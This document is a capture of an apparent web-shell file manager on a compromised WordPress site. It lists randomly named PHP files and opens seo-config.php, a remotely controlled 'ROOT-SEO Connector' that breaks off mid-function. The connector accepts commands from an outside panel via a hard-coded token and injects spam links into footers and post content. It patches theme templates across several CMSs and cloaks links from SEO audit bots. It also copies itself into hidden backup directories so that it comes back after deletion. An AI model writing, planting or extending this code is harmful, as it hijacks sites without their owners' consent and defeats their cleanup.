/
home
/
desid573
/
verdenaturopathy.com.au
/
/home/desid573/verdenaturopathy.com.au
mkdir
upload
Name
Size
Mode
Actions
.tmb/
-
0777
rm
.well-known/
-
0755
rm
cgi-bin/
-
0755
rm
site2/
-
0755
rm
site3/
-
0755
rm
well-known/
-
0755
rm
wp-admin/
-
0755
rm
wp-content/
-
0755
rm
wp-includes/
-
0755
rm
.htaccess
803
0644
edit
dl
rm
biguggny.php
7317
0644
edit
dl
rm
google8de757cd3fbfffe9.html
53
0644
edit
dl
rm
gzzvuwjd.php
7317
0644
edit
dl
rm
index.php
405
0644
edit
dl
rm
lbmardcs.php
10560
0644
edit
dl
rm
license.txt
19903
0644
edit
dl
rm
ojeggwfo.php
10560
0644
edit
dl
rm
php.ini
105
0644
edit
dl
rm
qcqjgrjs.php
19513
0644
edit
dl
rm
readme.html
7407
0644
edit
dl
rm
robots.txt
310
0644
edit
dl
rm
seo-config.php
99220
0644
edit
dl
rm
sitemap2.xml
209070
0644
edit
dl
rm
vdojgyow.php
19513
0644
edit
dl
rm
wp-activate.php
7718
0644
edit
dl
rm
wp-blog-header.php
351
0644
edit
dl
rm
wp-comments-post.php
2323
0644
edit
dl
rm
wp-config-sample.php
3339
0644
edit
dl
rm
wp-config.php
3383
0600
edit
dl
rm
wp-cron-smii.php
1659
0644
edit
dl
rm
wp-cron.php
5617
0644
edit
dl
rm
wp-links-opml.php
2493
0644
edit
dl
rm
wp-load.php
3937
0644
edit
dl
rm
wp-login.php
52536
0644
edit
dl
rm
wp-mail.php
8727
0644
edit
dl
rm
wp-settings.php
33152
0644
edit
dl
rm
wp-signup.php
35081
0644
edit
dl
rm
wp-trackback.php
5396
0644
edit
dl
rm
xmlrpc.php
3205
0644
edit
dl
rm
Edit:
/home/desid573/verdenaturopathy.com.au/seo-config.php
(99220B)
<?php /** * ROOT-SEO Connector v5.5.4 * - Backwards compatible with v5.2/v5.3/v5.4/v5.5 protocol (ping, add_link, remove_link, sync_links, * get_links, clear_links, clear_expired, verify_links, self_reconcile, * placement_report, info, diagnose, output, capabilities, get_config, set_config, * self_update, reinstall_placement, purge_cache) * - Stronger non-WP placement: Joomla/Drupal/OpenCart/Presta/Laravel/static footer * discovery + .user.ini auto_prepend fallback (shared hosting). * - Links now have a "kind": "footer" (sitewide, visible footer) or "contextual" * (injected into existing post content on WordPress; ephemeral by expiry). * - Render is ALWAYS visible (no hidden/cloaked CSS) — anti-penalty, anti-footprint. * - Optional per-link seo_hidden: omit from Ahrefs/Semrush-like tool bots; Google still sees. * - No footer link cap (unlimited active footer links; expired still auto-cleaned). * - Stronger WP delivery: mu-plugin + theme footer patch + multi-hook/shutdown fallback. * - Document root resolved from connector path (avoids wrong vhost DOCUMENT_ROOT). * - After link/placement changes: purge WP page caches (Rocket/Litespeed/W3TC/Super Cache/…) * + common cache directories so homepage HTML is not stuck stale. * - Contextual links are short-lived (enforced max TTL) and auto-removed when expired. * - Guardian: connector mirrors itself + its dropped artifacts into hidden backup dirs * and self-heals if the primary file is deleted by a CMS/theme update. Version-aware: * never restores an older version over a newer one. */ error_reporting(E_ALL); ini_set('display_errors', 0); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Panel-Token, X-RS-Ts, X-RS-Req-Id'); if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { http_response_code(200); exit; } define('CONNECTOR_VERSION', '5.5.4'); define('PANEL_API_URL', 'https://root-seo.com/api'); define('PANEL_TOKEN', 'vOXOUfISAW7PV00XQDeE0Qr5fpd7VV7wYTfjSdRh-5yptQr75D10AUwT2Zq_HrKn'); define('LINKS_FILE', __DIR__ . '/.rs_links_v5.json'); define('CONFIG_FILE', __DIR__ . '/.rs_v5_config.json'); define('NONCES_FILE', __DIR__ . '/.rs_v5_nonces.json'); define('PREPEND_HELPER_FILE', __DIR__ . '/.rs_prepend_v5.php'); define('GUARDIAN_STATE_FILE', __DIR__ . '/.rs_guardian_v5.json'); define('MAX_REQUEST_BYTES', 524288); define('MAX_URL_LENGTH', 2048); define('MAX_ANCHOR_LENGTH', 220); define('MAX_LINKS_PER_SYNC', 20000); define('MAX_REQUEST_SKEW_SECONDS', 300); define('NONCE_TTL_SECONDS', 900); define('PLACEMENT_HISTORY_LIMIT', 20); // v5.5 link-model tuning (overridable via set_config -> stored config). define('FOOTER_LINK_CAP', 0); // 0 = unlimited footer links (no cap) define('CONTEXTUAL_MAX_TTL_SECONDS', 172800); // hard 48h cap for contextual links define('AUTO_CLEAN_THROTTLE_SECONDS', 300); // run auto-clean at most once / 5 min on render define('GUARDIAN_COPIES', 10); // number of hidden backup mirrors define('GUARDIAN_THROTTLE_SECONDS', 300); // self-heal check at most once / 5 min define('VALID_LINK_KINDS', 'footer,contextual'); function respond($success, $data = [], $message = '', $status = 200) { http_response_code($status); header('Content-Type: application/json; charset=UTF-8'); echo json_encode([ 'success' => (bool)$success, 'message' => (string)$message, 'data' => is_array($data) ? $data : [] ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function get_raw_body() { static $raw = null; if ($raw === null) { $raw = file_get_contents('php://input'); if ($raw === false) $raw = ''; if (strlen($raw) > MAX_REQUEST_BYTES) { respond(false, [], 'request_too_large', 413); } } return $raw; } function get_request_data() { $data = []; if (!empty($_GET)) { foreach ($_GET as $k => $v) $data[$k] = $v; } if (!empty($_POST)) { foreach ($_POST as $k => $v) $data[$k] = $v; } $raw = get_raw_body(); if ($raw !== '') { $json = json_decode($raw, true); if (is_array($json)) { foreach ($json as $k => $v) $data[$k] = $v; } } return $data; } function get_action_name($req) { $action = ''; if (isset($req['action'])) $action = (string)$req['action']; if ($action === '' && isset($_GET['action'])) $action = (string)$_GET['action']; if ($action === '') $action = 'ping'; $action = strtolower(trim($action)); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function load_json_file($path, $fallback = []) { if (!file_exists($path)) return $fallback; $raw = @file_get_contents($path); if ($raw === false || $raw === '') return $fallback; $json = json_decode($raw, true); return is_array($json) ? $json : $fallback; } function save_json_file($path, $data) { return @file_put_contents($path, json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)) !== false; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); $allowed = ['dofollow', 'nofollow', 'ugc', 'sponsored']; return in_array($rel, $allowed, true) ? $rel : 'dofollow'; } function allowed_render_types() { // v5.4: only clean, natural anchor styles. Visual widgets (badge/button/micro) // were removed — they looked unnatural in footers and increased footprint. return ['text_inline', 'text_footer']; } function default_render_types() { // v5.4: single natural footer/inline text anchor. return ['text_footer']; } function normalize_kind($kind) { $kind = strtolower(trim((string)$kind)); $valid = explode(',', VALID_LINK_KINDS); return in_array($kind, $valid, true) ? $kind : 'footer'; } function default_placement_state() { return [ 'status' => 'not_installed', 'strategy' => null, 'target' => null, 'install_mode' => null, 'marker' => null, 'message' => '', 'installed_at' => null, 'last_attempt_at' => null, 'last_verified_at' => null, 'verify_status' => 'unknown', 'history' => [], ]; } function default_config() { // v5.5: render is ALWAYS visible. output_mode kept for backward-compat reads but // hidden/cloaked rendering has been removed entirely. footer_link_cap=0 => unlimited. return [ 'output_mode' => 'visible', 'render_profile' => 'minimal_inline', 'render_types' => default_render_types(), 'link_rel_strategy' => 'preserve', 'footer_link_cap' => 0, 'contextual_max_ttl' => CONTEXTUAL_MAX_TTL_SECONDS, 'placement' => default_placement_state(), ]; } function effective_footer_cap($config) { // <=0 means unlimited (no footer cap). Positive values keep an optional soft cap. if (!isset($config['footer_link_cap'])) return 0; $cap = intval($config['footer_link_cap']); if ($cap < 0) return 0; return $cap; } function effective_contextual_ttl($config) { $ttl = isset($config['contextual_max_ttl']) ? intval($config['contextual_max_ttl']) : CONTEXTUAL_MAX_TTL_SECONDS; if ($ttl < 300) $ttl = 300; if ($ttl > CONTEXTUAL_MAX_TTL_SECONDS) $ttl = CONTEXTUAL_MAX_TTL_SECONDS; return $ttl; } function merge_configs($base, $incoming) { $out = $base; foreach ($incoming as $key => $value) { if ($key === 'placement' && is_array($value)) { $out['placement'] = array_merge(default_placement_state(), $value); } else { $out[$key] = $value; } } return $out; } function load_config() { $cfg = load_json_file(CONFIG_FILE, []); $cfg = merge_configs(default_config(), $cfg); $types = []; foreach ((array)($cfg['render_types'] ?? []) as $type) { $type = trim((string)$type); if ($type !== '') $types[] = $type; } $cfg['render_types'] = $types ?: default_render_types(); // v5.5: legacy default cap of 50 → unlimited if (intval($cfg['footer_link_cap'] ?? 0) === 50) { $cfg['footer_link_cap'] = 0; } return $cfg; } function save_config($config) { return save_json_file(CONFIG_FILE, $config); } function is_panel_authenticated() { $expected = trim((string)PANEL_TOKEN); if ($expected === '' || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($_SERVER['HTTP_X_RS_PANEL_TOKEN'])) { $provided = trim((string)$_SERVER['HTTP_X_RS_PANEL_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } function load_nonce_store() { return load_json_file(NONCES_FILE, []); } function save_nonce_store($items) { return save_json_file(NONCES_FILE, $items); } function enforce_optional_replay_guard() { $ts = isset($_SERVER['HTTP_X_RS_TS']) ? trim((string)$_SERVER['HTTP_X_RS_TS']) : ''; $reqId = isset($_SERVER['HTTP_X_RS_REQ_ID']) ? trim((string)$_SERVER['HTTP_X_RS_REQ_ID']) : ''; if ($ts === '' && $reqId === '') return; if ($ts === '' || $reqId === '') respond(false, [], 'replay_headers_incomplete', 400); if (!ctype_digit($ts)) respond(false, [], 'invalid_request_timestamp', 400); if (!preg_match('/^[A-Za-z0-9._:-]{8,200}$/', $reqId)) respond(false, [], 'invalid_request_id', 400); if (abs(time() - intval($ts)) > MAX_REQUEST_SKEW_SECONDS) respond(false, [], 'request_timestamp_out_of_range', 409); $store = load_nonce_store(); $now = time(); foreach ($store as $key => $seenAt) { if (!is_int($seenAt) || ($now - $seenAt) > NONCE_TTL_SECONDS) { unset($store[$key]); } } if (isset($store[$reqId])) respond(false, [], 'duplicate_request_id', 409); $store[$reqId] = $now; save_nonce_store($store); } function authenticate_protected_request() { if (!is_panel_authenticated()) respond(false, [], 'Unauthorized', 401); enforce_optional_replay_guard(); } function validate_url_value($url) { $url = trim((string)$url); if ($url === '' || strlen($url) > MAX_URL_LENGTH) return ''; if (!filter_var($url, FILTER_VALIDATE_URL)) return ''; $parts = @parse_url($url); if (!$parts || empty($parts['scheme'])) return ''; $scheme = strtolower((string)$parts['scheme']); if (!in_array($scheme, ['http', 'https'], true)) return ''; return $url; } function validate_anchor_text($anchor) { $anchor = trim((string)$anchor); if ($anchor === '' || strlen($anchor) > MAX_ANCHOR_LENGTH) return ''; return $anchor; } function validate_link_id($linkId) { $linkId = trim((string)$linkId); if ($linkId === '') return ''; if (!preg_match('/^[A-Za-z0-9._:-]{3,160}$/', $linkId)) return ''; return $linkId; } function build_deterministic_link_id($url, $anchor, $rel) { $seed = strtolower(trim((string)$url)) . '|' . strtolower(trim((string)$anchor)) . '|' . normalize_rel($rel); return 'v5_' . substr(hash('sha256', $seed), 0, 16); } function filter_render_types($types) { $allowed = allowed_render_types(); $final = []; foreach ((array)$types as $type) { $type = trim((string)$type); if ($type !== '' && in_array($type, $allowed, true) && !in_array($type, $final, true)) { $final[] = $type; } } return $final ?: default_render_types(); } function apply_placement_snapshot_to_link($row, $placement) { $row['placement_status'] = $placement['status'] ?? 'not_installed'; $row['placement_strategy'] = $placement['strategy'] ?? null; $row['placement_target'] = $placement['target'] ?? null; $row['last_verified_at'] = $placement['last_verified_at'] ?? null; return $row; } function normalize_link_row($key, $row, $config) { if (!is_array($row)) return null; $url = validate_url_value($row['url'] ?? ''); $anchor = validate_anchor_text($row['anchor'] ?? ''); if ($url === '' || $anchor === '') return null; $rel = normalize_rel($row['rel'] ?? 'dofollow'); $id = validate_link_id($row['id'] ?? ''); if ($id === '') { $id = validate_link_id($key); } if ($id === '') { $id = build_deterministic_link_id($url, $anchor, $rel); } $placement = $config['placement'] ?? default_placement_state(); $kind = normalize_kind($row['kind'] ?? 'footer'); $created = isset($row['created']) ? intval($row['created']) : time(); $expiresAt = isset($row['expires_at']) && $row['expires_at'] !== null ? intval($row['expires_at']) : null; // Contextual links are ephemeral: clamp their lifetime to the configured max TTL (48h). if ($kind === 'contextual') { $maxExpiry = $created + effective_contextual_ttl($config); if ($expiresAt === null || $expiresAt > $maxExpiry) { $expiresAt = $maxExpiry; } } $normalized = [ 'id' => $id, 'kind' => $kind, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'expires_at' => $expiresAt, 'created' => $created, 'updated_at' => isset($row['updated_at']) ? intval($row['updated_at']) : time(), 'render_profile' => trim((string)($row['render_profile'] ?? ($config['render_profile'] ?? 'minimal_inline'))), 'render_types' => filter_render_types($row['render_types'] ?? ($config['render_types'] ?? default_render_types())), 'logical_hash' => substr(hash('sha256', strtolower($url) . '|' . strtolower($anchor) . '|' . $rel), 0, 20), 'placement_status' => $row['placement_status'] ?? ($placement['status'] ?? 'not_installed'), 'placement_strategy' => $row['placement_strategy'] ?? ($placement['strategy'] ?? null), 'placement_target' => $row['placement_target'] ?? ($placement['target'] ?? null), 'last_verified_at' => $row['last_verified_at'] ?? ($placement['last_verified_at'] ?? null), 'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']), ]; return $normalized; } function load_links() { $raw = load_json_file(LINKS_FILE, []); $config = load_config(); $normalized = []; foreach ($raw as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } return $normalized; } function enforce_footer_cap($links, $config) { // v5.5 default: unlimited. Optional positive footer_link_cap still supported. $cap = effective_footer_cap($config); if ($cap <= 0) return $links; $footer = []; $other = []; foreach ($links as $id => $row) { if (($row['kind'] ?? 'footer') === 'footer') { $footer[$id] = $row; } else { $other[$id] = $row; } } if (count($footer) > $cap) { uasort($footer, function ($a, $b) { return intval($b['created'] ?? 0) <=> intval($a['created'] ?? 0); // newest first }); $footer = array_slice($footer, 0, $cap, true); } return $other + $footer; } function save_links($links) { $config = load_config(); $normalized = []; foreach ((array)$links as $key => $row) { $item = normalize_link_row($key, $row, $config); if ($item) { $normalized[$item['id']] = $item; } } $normalized = enforce_footer_cap($normalized, $config); ksort($normalized); return save_json_file(LINKS_FILE, $normalized); } function filtered_links($links) { $visible = []; $expired = []; $now = time(); foreach ($links as $link) { if (!is_array($link)) continue; $expiresAt = isset($link['expires_at']) ? intval($link['expires_at']) : 0; if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) { $expired[] = $link; continue; } $visible[] = $link; } return [$visible, $expired]; } /** * Ahrefs/Semrush vb. SEO araç botları — Google/Bing arama botları DEĞİL. * Gizli (seo_hidden) linkler bu botlara HTML'de verilmez; Googlebot görür. */ function rootseo_is_seo_tool_bot() { $ua = strtolower((string)($_SERVER['HTTP_USER_AGENT'] ?? '')); if ($ua === '') return false; $searchEngines = [ 'googlebot', 'google-inspectiontool', 'bingbot', 'slurp', 'duckduckbot', 'yandexbot', 'applebot', 'baiduspider', ]; foreach ($searchEngines as $m) { if (strpos($ua, $m) !== false) return false; } $seoTools = [ 'ahrefs', 'semrush', 'siteauditbot', 'mj12bot', 'majestic', 'dotbot', 'rogerbot', 'screaming frog', 'seokicks', 'blexbot', 'dataforseo', 'serpstat', 'sistrix', 'linkpad', 'opensiteexplorer', ]; foreach ($seoTools as $m) { if (strpos($ua, $m) !== false) return true; } return false; } function rootseo_filter_seo_hidden_for_visitor($activeLinks) { if (!rootseo_is_seo_tool_bot()) { return $activeLinks; } $out = []; foreach ($activeLinks as $key => $link) { if (!empty($link['seo_hidden'])) { continue; } $out[$key] = $link; } return $out; } function get_link_stats($links) { list($active, $expired) = filtered_links($links); return [ 'total' => count($links), 'active' => count($active), 'expired' => count($expired), ]; } function build_rel_attr($rel) { if ($rel === 'dofollow') return ''; return ' rel="' . htmlspecialchars($rel, ENT_QUOTES, 'UTF-8') . '"'; } // v5.4: render is ALWAYS visible. A discreet, real footer block — small muted text, // genuinely on the page (no display:none / -9999px / 1px cloaking). function rootseo_footer_container_style() { return 'display:block;margin:14px 0 6px;padding-top:8px;border-top:1px solid rgba(0,0,0,0.06);font-size:12px;line-height:1.6;color:#9aa0a6;'; } function rootseo_footer_anchor_style() { return 'color:#9aa0a6;text-decoration:none;font-size:12px;'; } function build_footer_anchor_html($link) { $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); return '<a href="' . $url . '"' . $relAttr . ' style="' . rootseo_footer_anchor_style() . '">' . $anchor . '</a>'; } // Build the visible footer block from FOOTER-kind links only. function rootseo_build_footer_html($markRenderedOnce = true) { if ($markRenderedOnce && defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) { return ''; } if ($markRenderedOnce) { define('ROOTSEO_CONNECTOR_RENDERED_ONCE', true); } $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return ''; $anchors = []; foreach ($activeLinks as $link) { // Non-WP placements render contextual links in the footer too (real, visible). if (($link['kind'] ?? 'footer') === 'contextual' && defined('ROOTSEO_WP_CONTEXTUAL_ACTIVE')) { continue; // contextual handled by the_content filter on WordPress } $anchors[] = build_footer_anchor_html($link); } if (empty($anchors)) return ''; return '<div data-rootseo-render="footer" style="' . rootseo_footer_container_style() . '">' . implode(' · ', $anchors) . '</div>'; } // Backward-compatible alias (older placements call rootseo_render_links_html()). function rootseo_render_links_html() { return rootseo_build_footer_html(true); } function rootseo_build_render_html($markRenderedOnce = true) { return rootseo_build_footer_html($markRenderedOnce); } // ===== Contextual (in-content) injection — WordPress the_content ===== function rootseo_pick_contextual_link($links, $seed) { $ctx = []; foreach ($links as $link) { if (($link['kind'] ?? 'footer') === 'contextual') $ctx[] = $link; } if (empty($ctx)) return null; usort($ctx, function ($a, $b) { return strcmp((string)($a['id'] ?? ''), (string)($b['id'] ?? '')); }); // Deterministic pick: same post always shows the same contextual link. $h = hexdec(substr(hash('sha256', (string)$seed), 0, 8)); return $ctx[$h % count($ctx)]; } function rootseo_contextual_inject($content) { // Frontend, main singular content only; inject at most one link, once per request. if (defined('ROOTSEO_CTX_DONE')) return $content; if (!is_string($content) || $content === '') return $content; if (function_exists('is_admin') && is_admin()) return $content; if (function_exists('is_feed') && is_feed()) return $content; if (function_exists('is_singular') && !is_singular()) return $content; if (function_exists('in_the_loop') && !in_the_loop()) return $content; if (function_exists('is_main_query') && !is_main_query()) return $content; try { $links = load_links(); list($activeLinks, ) = filtered_links($links); $activeLinks = rootseo_filter_seo_hidden_for_visitor($activeLinks); if (empty($activeLinks)) return $content; $postId = function_exists('get_the_ID') ? (get_the_ID() ?: 0) : 0; $link = rootseo_pick_contextual_link($activeLinks, $postId ?: $content); if (!$link) return $content; define('ROOTSEO_CTX_DONE', true); $url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8'); $anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8'); $relAttr = build_rel_attr($link['rel']); $a = '<a href="' . $url . '"' . $relAttr . '>' . $anchor . '</a>'; // Natural sentence wrapper, visible inline within the article body. $sentence = '<p data-rootseo-ctx="1">' . $a . '</p>'; // Insert after the first closing paragraph; fallback append. $pos = stripos($content, '</p>'); if ($pos !== false) { $pos += 4; return substr($content, 0, $pos) . $sentence . substr($content, $pos); } return $content . $sentence; } catch (\Throwable $e) { return $content; } } // Called by the mu-plugin / functions-hook on WordPress (early load). function rootseo_wp_register() { if (defined('ROOTSEO_WP_REGISTERED')) return; define('ROOTSEO_WP_REGISTERED', true); if (!function_exists('add_action')) return; if (function_exists('add_filter')) { define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true); add_filter('the_content', 'rootseo_contextual_inject', 50); } $emit = function () { echo rootseo_build_footer_html(true); }; // Multiple hooks: some themes omit wp_footer / use builders / full-page cache edges. add_action('wp_footer', $emit, 9999); if (function_exists('add_action')) { add_action('wp_body_open', $emit, 9999); add_action('shutdown', function () { if (defined('ROOTSEO_CONNECTOR_RENDERED_ONCE')) return; // Last-resort visible emit if theme never fired footer hooks. if (PHP_SAPI === 'cli') return; $uri = $_SERVER['REQUEST_URI'] ?? ''; if (strpos($uri, 'wp-admin') !== false || strpos($uri, 'wp-json') !== false) return; echo rootseo_build_footer_html(true); }, 0); } rootseo_guardian_tick(); rootseo_autoclean_tick(); } function find_document_root() { // Prefer walking up from the connector file so multi-vhost / wrong DOCUMENT_ROOT // cannot install placement into another site's tree. $start = dirname(__FILE__); $base = $start; $wpRoot = null; $indexRoot = null; for ($i = 0; $i < 8; $i++) { if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $wpRoot = $base; break; } if ($indexRoot === null && (file_exists($base . '/index.php') || file_exists($base . '/index.html'))) { $indexRoot = $base; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } if ($wpRoot) return $wpRoot; if ($indexRoot) return $indexRoot; $doc = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (is_string($doc) && $doc !== '' && is_dir($doc)) { $realDoc = @realpath($doc); $realSelf = @realpath(__FILE__); if ($realDoc && $realSelf && strpos($realSelf, $realDoc) === 0) { return $doc; } } return $start; } function get_active_wp_theme_footer($base) { $themes = glob($base . '/wp-content/themes/*/footer.php'); if (!$themes) return null; $latest = null; $latestTime = 0; foreach ($themes as $footer) { $mtime = @filemtime($footer); if ($mtime > $latestTime) { $latestTime = $mtime; $latest = $footer; } } return $latest; } function get_footer_paths($base, $siteType) { $paths = []; $base = rtrim((string)$base, '/'); switch ($siteType) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php') ?: []; $paths = array_merge($paths, $themes); break; case 'joomla': // Template chrome: index.php is the main layout; also catch module chrome footers. foreach ([ $base . '/templates/*/index.php', $base . '/templates/*/html/modules.php', $base . '/templates/*/component.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'drupal': // D7 tpl + D8/D9/D10 twig (themes may live under themes/custom|contrib or sites/*/themes). foreach ([ $base . '/themes/*/*.theme', $base . '/themes/*/templates/page.html.twig', $base . '/themes/*/templates/layout/page.html.twig', $base . '/themes/custom/*/templates/page.html.twig', $base . '/themes/contrib/*/templates/page.html.twig', $base . '/sites/*/themes/*/templates/*.tpl.php', $base . '/sites/*/themes/*/templates/page.html.twig', $base . '/core/themes/*/templates/layout/page.html.twig', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'opencart': foreach ([ $base . '/catalog/view/theme/*/template/common/footer.twig', $base . '/catalog/view/theme/*/template/common/footer.tpl', $base . '/catalog/view/theme/*/template/common/footer.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'prestashop': foreach ([ $base . '/themes/*/templates/_partials/footer.tpl', $base . '/themes/*/modules/ps_linklist/views/templates/hook/linkblock.tpl', $base . '/themes/*/footer.tpl', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } break; case 'laravel': // App root or public/ docroot — climb one level for resources/views when needed. $roots = [$base]; if (is_dir($base . '/../resources/views')) $roots[] = dirname($base); foreach ($roots as $root) { foreach ([ $root . '/resources/views/layouts/*.blade.php', $root . '/resources/views/components/layouts/*.blade.php', $root . '/resources/views/partials/footer.blade.php', $root . '/resources/views/footer.blade.php', ] as $pat) { $hit = glob($pat) ?: []; $paths = array_merge($paths, $hit); } } break; case 'php': case 'static': // Generic PHP/HTML sites: prefer real footers / includes over random root PHP. break; } $general = [ $base . '/footer.php', $base . '/footer.html', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/partials/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php', $base . '/templates/footer.html', $base . '/layout/footer.php', $base . '/layouts/footer.php', $base . '/common/footer.php', $base . '/views/footer.php', ]; foreach ($general as $path) { if (file_exists($path)) $paths[] = $path; } // Keep only writable existing files; skip core/vendor noise for safety. $clean = []; foreach ($paths as $path) { if (!is_string($path) || $path === '' || !file_exists($path)) continue; if (!is_writable($path)) continue; $norm = str_replace('\\', '/', $path); if (preg_match('#/(vendor|node_modules|core/lib)/#i', $norm)) continue; $clean[] = $path; } return array_values(array_unique($clean)); } function check_footer_writable($base, $siteType) { $paths = get_footer_paths($base, $siteType); foreach ($paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; return false; } function detect_site_info() { $base = find_document_root(); $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'document_root' => $base, 'connector_path' => __FILE__, ]; if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) || (file_exists($base . '/core/lib/Drupal.php') && is_dir($base . '/sites')) || (file_exists($base . '/autoload.php') && is_dir($base . '/core') && is_dir($base . '/modules')) ) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config.php') && is_dir($base . '/catalog')) || (file_exists($base . '/admin/config.php') && is_dir($base . '/catalog')) ) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif ( (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/AppKernel.php') && is_dir($base . '/themes')) || (file_exists($base . '/app/App.php') && is_dir($base . '/themes') && file_exists($base . '/composer.lock')) ) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif ( file_exists($base . '/artisan') || (file_exists($base . '/../artisan') && is_dir($base . '/../resources/views')) ) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } elseif (file_exists($base . '/index.html') || file_exists($base . '/index.htm')) { $info['site_type'] = 'static'; } $indexFiles = ['index.php', 'index.html', 'index.htm']; foreach ($indexFiles as $file) { $path = $base . '/' . $file; if (!file_exists($path)) continue; $content = @file_get_contents($path, false, null, 0, 50000); if (!$content) continue; if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $langMap = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'AR']; $countryMap = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES', 'pl' => 'PL', 'it' => 'IT', 'nl' => 'NL', 'ar' => 'SA']; $info['language'] = $langMap[$lang] ?? 'EN'; $info['country'] = $countryMap[$lang] ?? 'US'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); $info['footer_paths'] = get_footer_paths($base, $info['site_type']); $info['active_theme_footer'] = $info['site_type'] === 'wordpress' ? get_active_wp_theme_footer($base) : null; return $info; } function placement_marker($strategy) { return substr(hash('sha256', __FILE__ . '|' . $strategy), 0, 12); } function build_dynamic_php_snippet($marker) { $connectorPath = addslashes(__FILE__); return "<?php /* ROOTSEO_START:$marker */ if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true); include_once '$connectorPath'; /* ROOTSEO_END:$marker */ ?>"; } function build_static_html_block($marker) { return "<!-- ROOTSEO_HTML_START:$marker -->" . rootseo_build_render_html(false) . "<!-- ROOTSEO_HTML_END:$marker -->"; } function replace_between_markers($content, $startMarker, $endMarker, $replacement) { $startPos = strpos($content, $startMarker); $endPos = strpos($content, $endMarker); if ($startPos === false || $endPos === false || $endPos < $startPos) return null; $endPos += strlen($endMarker); return substr($content, 0, $startPos) . $replacement . substr($content, $endPos); } function upsert_php_file_block($filePath, $marker) { if (!file_exists($filePath) || !is_writable($filePath)) return [false, 'file_not_writable']; $content = @file_get_contents($filePath); if ($content === false) return [false, 'file_read_failed']; $snippet = build_dynamic_php_snippet($marker); $existing = replace_between_markers($content, "/* ROOTSEO_START:$marker */", "/* ROOTSEO_END:$marker */", $snippet); if ($existing !== null) { if (@file_put_contents($filePath, $existing) !== false) return [true, 'updated_existing_block']; return [false, 'file_write_failed']; } $newContent = null; foreach (['</body>', '</footer>', '</html>', '?>'] as $needle) { $pos = strripos($content, $needle); if ($pos !== false) { $newContent = substr($content, 0, $pos) . "\n" . $snippet . "\n" . substr($content, $pos); break; } } if ($newContent === null) $newContent = $content . "\n" . $snippet . "\n"; if (@file_put_contents($filePath, $newContent) === false) return [false, 'file_write_failed']; return [true, 'inserted_block']; } function upsert_html_file_block($filePath, $marker) { if (!file_exists($filePath) || 